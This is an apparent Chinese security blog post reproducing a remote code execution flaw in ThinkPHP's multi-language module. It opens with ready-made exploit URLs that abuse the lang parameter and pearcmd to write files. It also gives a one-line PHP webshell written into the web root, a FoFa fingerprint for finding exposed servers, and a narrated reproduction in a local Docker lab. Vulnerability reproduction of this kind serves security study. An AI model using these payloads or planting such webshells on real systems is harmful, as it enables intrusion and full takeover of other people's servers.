【漏洞复现】ThinkPHP 多语言模块RCE


Exp

# 写文件
http://172.17.0.2/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php
# 包含文件
http://172.17.0.2/public/index.php?lang=../../../../../../../../tmp/hello
# 直接写一句话
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['ant']);?>+/var/www/html/ant.php
# Header和Cookie方式在文中

漏洞简介

如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

影响范围

v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x

FoFa指纹

header="think_lang"

复现过程

关于Exp,网上爆出的是:

/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami
/public/index?lang=../../../../../../../Applications/MAMP/bin/php/php5.6.40/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php

但是我尝试N遍都没成功,然后查看漏洞分析文章和pearcmd技巧:

https://tttang.com/archive/186
https://nosec.org/home/detail/5050.htm
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

同时本地部署漏洞环境:docker pull vulfocus/thinkphp:6.0.12
查看文件漏洞环境文件系统发现pearcmd路径是:/usr/local/lib/php/,如图:

测试发现使用第二个Exp,当“../”为6个的时候可以成功写入,如图:

后来再次尝试就无法写入了。通过尝试增加“../”数量,发现8个“../”时又成功了。并且可以一直成功。细心的小伙伴可能会发现写入的php代码特殊字符被url编码了,通过Burp抓包然后进行url解码即可,如图:

然后包含文件即可执行代码,如图:

从凌晨一点肝到三点,熬不住了就先睡了。醒来后对Exp进行改进,既然可以写任意文件,那就直接写一句话木马,如图:

查看漏洞环境中的文件,成功写入,如图:

然后执行代码,如图:

利用Header写入文件,如图:

利用Cookie写入文件,如图:

这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。

Xray Poc

公众号回复ThinkPHP获取。

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 【漏洞复现】ThinkPHP 多语言模块RCE


Hacker perspective for security